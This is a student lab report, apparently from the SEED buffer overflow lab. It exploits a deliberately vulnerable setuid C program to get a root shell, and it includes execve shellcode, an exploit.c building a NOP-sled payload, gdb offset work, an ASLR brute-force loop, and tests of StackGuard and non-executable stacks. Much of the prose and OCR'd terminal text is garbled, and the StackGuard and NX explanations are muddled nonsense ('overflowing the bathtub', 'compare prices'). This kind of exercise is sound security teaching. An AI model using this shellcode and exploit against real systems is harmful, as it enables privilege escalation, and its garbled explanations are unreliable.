Task 1: Running Shellcode:

Prior to compilling, I disabled Address Space Randomization. Random address sorting selects the first address of the bulk and stack. This is done randomly can make guessing addresses directly difficult.

Then I compiled the call shellcode using the following gcc command. I also used the execstack option, which allows code to be generated from stack.


The result and source code are shown below:[image: ][image: ]


Observation: The statement ((void(*)( ))buf)() in the main function of the code will invoke a shell, because the shellcode is executed.

Explanation:
(1) We can push the string “/bin/sh” onto stack, and then use the stack pointer esp to get the location of the string.
(2) We can convert the instructions that contain 0 into another instructions that do not contain 0. For example, to store 0 to a register, we can use XOR operation, instead of directly assigning 0 to that register. 






Task 2: Exploiting the Vulnerability:
[image: ]

















Above is the vulnerable program’s code. The buffer overflow is that In main(),  we read up to 517 characters from the “badfile” and then copy them using function bof into a buffer that is 24. In this case, we overflow the buffer array in bof() since strcpy() does not check if the buffer can hold the what is copying. We use this copying outside the buffer to insert our code into the overflow area allowing us to get a shell to attack the program.
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As shown above, I switched user to root and compile the vulnerable program. When compiling I use the flag “-fno-stack-protector” to disable GCC’s StackGuard which prevents buffer overflows. After compiling I used chmod to set-root-uid so that the program will run as root and when we get a shell we will have access to a root shell.
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The exploit.c code is shown above, which will be placed at the end of the stack when the implementation of the exploit is finished. In main(), the buffer has the same size as the overflow in the vulnerable program and the file pointer that will create the “badfile”. 
Then I set the buffer to be filled with NOP instructions, which when executed will do nothing and move to the next one. 


[image: ][image: ][image: ]





As shown above:
We need to find the location of the return address and the location of our bar to calculate the distance from the respondent to the return address. We use gdb to find both places. We start the gdb by having the conflict become our most manageable and put a crack in the job “bof” using “b bof”. Next, we use "run" to run the program to our rest area where we print ebp and buffer memory locations using "p $ ebp" and "p & buffer". The return address is 4 bytes above ebp so we calculate how far you are in the bar with this equation: (ebp address + 4) - (buffer address). In our system this range is 0x24 = 36.

We also need a stackpointer location where the vulnerable system overflows. To find this location I used dmesg and tail, as shown below, which prints on the board the value of our stackpointer when the program section is faulty. This value is required as this location, or sometimes after it, will be the location of our Shellcode to which we want to change the return address.
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Now we have information we need to finish the exploit.c code. First, set the return address to our shellcode; Second, write the shellcode to the stack. 

To set the return address we use the address of the start of the buffer and add the value we calculated earlier using gdb, which is 36, to create a pointer to that memory location and set it to the stack location we found added to some number. In this line we are overwriting the location address in the vulnerable program, stack.c, so that it points to the stack, or the overflowed area, so we can run the code we are going to insert. 

Next, we use memcpy to copy the shellcode to the end of the buffer. We want to copy the shellcode to the end of the buffer as it increases the chances of our exploit working. It is because we fill the buffer originally with NOP instructions so if we use a return address that is a bit off, but before the shellcode, all of the NOPs will be run then our shellcode since NOPs do nothing and move on to the next instruction.
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In the above image is my code. This buffer overflow vulnerability happened because the vulnerable program, stack.c, used a vulnerable C function, strcpy, to copy data from a file that is editable by the user allowing the user to insert machine code instructions into the file to be copied to memory in stack.c. The data in the file was able to be read into memory past the allocated size of the buffer it was to be copied into, because strcpy does not check if it will fit,  allowing the return address of the function, that would be read and take the program back to main, to be overwritten with the address of the code inserted into the file, and therefore memory, which opens a root shell on the machine stack.c is running on.



The result is shown below, I successfully got a root shell:
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Task 4: Defeating Address Randomization:
I turned on address randomization by setting the value to 2. Then compile and execute the exploit program which creates the bad file. Then compile the stack program with no stack guard protection and make the stack an executable stack. Next, make the stack program a set UID program owned by root. Run the stack program in a while loop till the buffer overflow is successful and the # prompt is returned. 
[image: ][image: ]The operation and the result are shown below:

Explanation: The probability of the attack success is 1⁄232 for a 32-bit machine. This operation is not very safe to stop the execution of a malicious. Through repeated execution using the while loop, I successfully attacked and gain root access. 














Task 5: Turn on the StackGuard Protection:

[image: ]The operation is shown below:










Observation: Create a stack program and turn off address settings. Then assemble the system with a usable stack without stack protection. Make the program a set of rooted UID program and create an exploit program to create a bad file. We may find that after performing the stack program, the stack is disconnected.
After that I used gdb to describe this problem, the result is shown below: 
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Explanation:
Stack guard cam detects that you are in danger of overflowing the bathtub. However in this work the fullness of the buffer is obtained by introducing a local variable before the front indicator of the frame and after the bath. Then keep the value of the variable in place in the pile and give the same value for the vertical or ground variable.
Let’s compare prices before the system is terminated: If prices are different, then a bar overflows occurs and exceeds the local variance value;
If the prices are the same, then the overflow of the bath never happened.
Because it goes on and the value of the local variable is generated by a random generator and will change, we cannot skip the local variable and write only the return address of the stack. Stack Protector works by placing a canary on top of a stack frame when entering work. In addition, if the canary is trampled or not before departure and a certain amount has changed, then the smashing stack is detected and the error is printed, shown in the image above.























[bookmark: _GoBack]Task 6: Turn on the Non-executable Stack Protection:
Observation:
 First, I created a stack system and deleted the address randomly. Second, assemble the system without stack protection and create a stack that fails. Next make the program a set of rooted UID program. Then merge and run the exploitation program that created the bad file. We can find in the picture above that there is an error of the partition when the stack system is created and the system is terminated.
After that I used gdb to describe this problem, the result is shown below:
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Explanation:
Inactive stack can provide hardware to avoid code (especially Shellcode and binary code in this function) in import from stack. However, it cannot prevent buffer overload from happening because we can get the code elsewhere in the system and fill the buffer. To avoid a return to the libc attack, I find the functionality of the compromised program in the library file and use the risk. Unsuccessful stacks are also a solution for the buffer overflow problem.

[image: ]
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/bin/bash
= pivbash 66524
[02/26/19] seed@VM:~$ cd Desktop
[02/26/19] seed@VM:~/Desktop$ gdb stack

GNU gdb (Ubuntu 7.11.1-6ubuntul~16.64) 7.11.1

Copyright (C) 2016 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/license
s/gpl.html>

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show
copying”

and "show warranty" for details.

This GDB was configured as "i686-linux-gnu”.

Type “show configuration® for configuration details.

For bug reporting instructions, please see:
<http://ww.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:
<http://ww.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type “apropos word" to search for commands related to "word"...
Reading symbols from stack...done.

gdb-pedas b bof

Breakpoint 1 at 0x80484cl: file stack.c, line 14.

gdb-peda$ run

Starting program: /home/seed/Desktop/stack
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0x80484c7 <bof+12>:
0x80484ca <bof+15>:

lea
push

24
eax, [ebp-6x20]

1

0000| Oxbfffea4e --> Oxb7fed6eb
,0x15915)

0004| Oxbfffeadd --> 0x0

0008| Oxbfffead8 --> Oxb7fbacee
0012| exbfffeadc --> Oxb7ffdo4e
0016| exbfffea5e --> Oxbfffec9s
0020| oxbfffea54 --> exb7feffle
p edx)

0024| oxbfffea58 --> Oxb7e6688b
,0x153775)

0028| oxbfffea5c
B e

(<_dU_fixup+11>: add  esi
--> ex1bldbe

(0xb7ffd946)

--> 6x0

(<_dU runtime_resolve+16>: po
(<_GI_I0 fread+ll>: add  ebx

Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffea87 '\220' <repeats 200 times>...)

at stack.c:14

14
gdb-peda$

1 strcpy(buffer, str);
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/bin/bash

8016| Oxbfffeasd --> Oxbfffecos --> Ox0
9020| Oxbfffeass --> Oxb7feff1o (< dl runtime resolve+16>: po

p  edx)

8024| 0xbfffeass --> Oxb7e6688b (< GI_ 10 fread+1l>: add  ebx
,0x153775)

0028| 6xbfffeasc --> Ox0

=

Legend: code, data, rodata, value

Breakpoint 1, bof (str=exbfffea87 '\220' <repeats 200 times>...)

at stack.c:14

strcpy(buffer, str);

gdb peda$ p &buffer
$1 = (char (*)[24]) oxbfffead8
gdb-peda$ p Sebp
No symbol "Sebp" in current context.
gdb-peda$ p $ebp
$2 = (void *) exbfffea68
gdb-peda$ p Oxbfffea68-0xbfffeads
$3 = 0x20
edai p 0x20+4

$4
qdb-peda$ I





image9.tiff
 /bin/bash

[02/26/19] seed@VM:~$ cd Desktop

[02/26/19] seed@VM:~/Desktop$ ./stack

Segmentation fault

[02/26/19] seed@VM:~/Desktop$ dmesg | tail -1

[12564.345666] stack[7726]: segfault at 98909690 ip 96989096 sp

error 14 in libc-2.23.s0[b7e08000+1afe00]
[02/26/19] seed@VM:~/Desktop$ [l
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\!

"\xﬁB'"/bln $6x6e69622f
"\x89\xe3" Xesp, Xebx
"\x50" Xeax

"\x53" %ebx
"\x89\xe1" Xesp,%ecx
"\x99"

"\xb@\x6b" 56x0b,%al
"\xcd\x80" $6x80

votd matn(int argc, char **argv)bfffease

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x96 (NOP instruction) */
memset(&buffer, 6x90, 517);

/* You need to fill the buffer with appropriate contents herebfffease */
*((long *)(buffer + 36)) = 6xbfffeaso + 0x8e,
memcpy(buffer + sizeof(buffer) - sizeof(shelicode), shellcode, sizeof
(shellcode));

/* save the contents to the file "badfile” */
badfile = fopen("./badfile”, "w"
furite(buffer, 517, 1, badfile);
fclose(badfile);

C v Tabwidth:8 v Ln 31, Col 87
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}

A

[02/26/19] seed@VM: -/Desktops gcc -0 exploit exploit.c

exploit.c: In function ‘main’

exploit.c:21:33: error: expected declaration specifiers before ‘bf
ffea9o’

void main(int argc, char **argv)bfffea9e

exploit.c:37:1: error: expected ‘{’ at end of input
}

[02/26/19] seed@M:~/Desktop$ subl exploit.c

[02/26/19] seed@VM:~/Desktop$ gcc -o exploit exploit.c

[02/26/19] seed@VM:~/Desktop$ ./exploit

[02/26/19] seed@VM:~/Desktop$ ./stack

# whoami

root

# id

uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),36(dip),46(plugdev),113(1padmin),128(sambasha
re)

# exit

[02/26/19] seed@VM:~/Desktop$ I
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@ /bin/bash
2 n/bash 66x24
The program has been running 68016 times so
./loop.sh: line 14: 8866 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68017 times so
./loop.sh: line 14: 8867 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68018 times so
./loop.sh: line 14: 8868 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68019 times so
./loop.sh: line 14: 8869 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68020 times so
./loop.sh: line 14: 8870 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68021 times so
./loop.sh: line 14: 8871 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68022 times so
./loop.sh: line 14: 8872 Segmentation fault
2 minutes and 16 seconds elapsed.
The program has been running 68023 times so

far.

far.

far.

TS

far.

far.

far.

far.

./stack

./stack

./stack

./stack

./stack

./stack

./stack
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root@VM: /home/seed/Desktop

[02/26/19] seed@VM:~$ su root
Password:

root@M: /home/seed# cd Desktop
root@M: /home/seed/Desktop# /sbin/sysctl -w kernel.randomize va_sp
ace=2

kernel.randomize va space = 2

root@vM: /home/seed/Desktop# gcc -o stack -z execstack stack.c
root@vM: /home/seed/Desktop# chmod 4755 stack

root@vM: /home/seed/Desktop# exit

exit

[02/26/19] seed@VM:~$ cd Desktop

[02/26/19] seed@VM: ~/Desktop$ gcc -o exploit exploit.c

[02/26/19] seed@VM: ~/Desktop$ ./exploit

[062/26/19] seed@VM: ~/Desktop$ ./stack

*** stack smashing detected ***: ./stack terminated

Aborted

692/26/19]seed@n‘l:-/nesktop$ sh -c "while (true);do ./stack; done"
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? root@VM: /home/seed/Desktop

root@VM: /home/seed/Desktop 66x24

[02/26/19]seed@VM:~$ su root
Password:

root@M: /home/seed# sysctl -w kernel.randomize va_space=0
kernel.randomize va space = 0

root@vM: /home/seed# gcc -o stack -z execstack -g stack.c

gcc: error: stack.c: No such file or directory

gcc: fatal error: no input files

compilation terminated.

root@VM: /home/seed# cd Desktop

root@vM: /home/seed/Desktop# gcc -o stack -z execstack -g stack.c
root@M: /home/seed/Desktop# chmod 4755 stack

root@VM: /home/seed/Desktop# gcc -o exploit exploit.c

root@VM: /home/seed/Desktop# ./exploit

root@M: /home/seed/Desktop# ./stack

*** stack smashing detected ***: ./stack terminated

Aborted

root@VM: /home/seed/Desktop# I
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root@VM: /home/seed/Desktop

root@VM: /home/seed/Desktop 66x24.
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...done.
(gdb) break bof
Breakpoint 1 at 0x8048517: file stack.c, line 10.
(gdb) run
Starting program: /home/seed/Desktop/stack
[Thread debugging using libthread db enabled]
Using host libthread db library "/1ib/i386-linux-gnu/libthread db.
s0.1".

Breakpoint 1, bof (
str=0xbfffeaf7 '\220' <repeats 36 times>, "\020\353\377\277",
'\220' <repeats 160 times>...) at stack.c:10

10 {

(gdb) p &buffer

$1 = (char (*)[24]) oxbfffeaad
(gdb) ¢

Continuing.

*** stack smashing detected ***
ed

: /home/seed/Desktop/stack terminat

Program received signal SIGABRT, Aborted.
0xb7fd9ce5 in _ kernel vsyscall ()
(gdb) |
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7 root@VM: /home/seed/Desktop

root@VM: /home/seed/Desktop 66x24
<http //www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...done.

(gdb) break bof

Breakpoint 1 at 0x80484cl: file stack.c, line 14.

(gdb) run

Starting program: /home/seed/Desktop/stack

[Thread debugging using libthread db enabled]

Using host libthread db library "/1lib/i386-linux-gnu/libthread db.
so.1".

str=0xbfffeaf7 '\220' <repeats 36 times>,
'\220' <repeats 160 times>...) at stack.c:14
14 strcpy(buffer, str);

(gdb) p &buffer

$1 = (char (*)[24]) oxbfffeab8

(gdb) c
Continuing.

"\020\353\377\277",

Program received signal SIGSEGV, Segmentation fault.
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root@VM: /home/seed/Desktop
root@VM: /home/seed/Desktop 66x24

[02/26/19] seed@VM:~$ su root
Password:

root@vM: /home/seed# cd Desktop
root@vM: /home/seed/Desktop# sysctl -w kernel.randomize va space=0
kernel.randomize va space = 0

root@vM: /home/seed/Desktop# gcc -o stack -fno-stack-protector -z n
oexecstack -g stack.c

root@vM: /home/seed/Desktop# chmod 4755 stack

root@vM: /home/seed/Desktop# gcc -o exploit exploit.c

root@M: /home/seed/Desktop# ./exploit
root@vM: /home/seed/Desktop# ./stack
Segmentation fault

root@VM: /home/seed/Desktop# [
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/« call_shellcode.c «*/
/+ You can get this program from the lab’s website +/

/« A program that launches a shell using shellcode =/

#include <stdlib.h>
#include <stdio.h>
¢include <string.h>

const char code[] =

"\x31\xc0" / Line xorl  %eax, teax
"\x50" /+ Line pushl  %eax
"\x68""//sh" /+ Line pushl  $0x68732f2f
"\x68""/bin" / Line pushl  $0x6e69622f
"\x89\xe3" / Line movl  %esp, $ebx
"\x50" / Line pushl  %eax

"\x53" / Line pushl  %ebx
"\x89\xel" /+ Line movl  %esp, tecx
"\x99" /+ Line cdgq

"\xb0\x0b" /+ Line movb  $0x0b, tal
"\xcd\x80" /+ Line int $0x80

int main(int argc, char
{
char buf[sizeof (code)
strepy (buf, code);
((void(#) ( ))buf) ( );

«rargv)

1i
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[02/26/19] seed@VM:~$ su root
Password:

root@M: /home/seed# sysctl -w kernel.randomize va_space=0
kernel.randomize va_space = 6

root@vM: /home/seed# cd Desktop

root@M: /home/seed/Desktop# gcc -z execstak -o call_shellcode call
_shellcode.c

/usr/bin/ld: warning: -z execstak ignored.

root@vM: /home/seed/Desktop# gcc -z execstack -o call shellcode cal
1_shellcode.c

root@vM: /home/seed/Desktop# 1s

call_shellcode call shellcode.c exploit.c stack.c

roit@VM: /home/seed/Desktop# ./call_shellcode

#
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/+ Vunlerable program: stack.c =/
/* You can get this program from the lab’s website x/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof (char sstr)
{
char buffer[24];

/* The following statement has a buffer overflow problem x/
strcpy (buffer, str); @

return 1;

int main(int arge, char =xargv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof (str);

printf ("Returned Properly\n");

return 1;
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? root@VM: /home/seed/Deskt:

/home/seed/Desktop 66x24

[02/26/19] seed@M:~$ su root
Password:

root@vM: /home/seed# cd Desktop

root@vM: /home/seed/Desktop# 1s

call_shellcode call shellcode.c exploit.c stack.c

root@VM: /home/seed/Desktop# gcc -o stack -z execstack -fno-stack-p
rotector -g stack.c

root@vM: /home/seed/Desktop# chmod 4755 stack

root@vM: /home/seed/Desktop# exit

exit

[02/26/19]seed@vM:~$ [l
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exploit.c

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcodell=
"\X31\xc6" xorl  %eax,veax
\x50" pushl  seax
"\x68""//sh" pushl  $0x68732f2f
"\x68""/bin" pushl  $0x6e69622F
"\x89\xe3" movl  %esp, %ebx
"\x50" pushl  seax
"\x53" pushl  sebx
"\x89\xe1" movl  esp,secx
"\x99" cdq
“\xbo\x0b" movb  $0x6b, %al
"\xcd\x86" 7% int $0x80

void main(int argc, char **argv)

char buffer[517];
FILE *badfile;

/* Initialize buffer with 6x90 (NOP instruction) */
memset (sbuffer, 0x98, 517);

/* You need to fill the buffer with appropriate contents here */

/* save the contents to the file "badfile" */
badfile = fopen("./badfile”, "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);





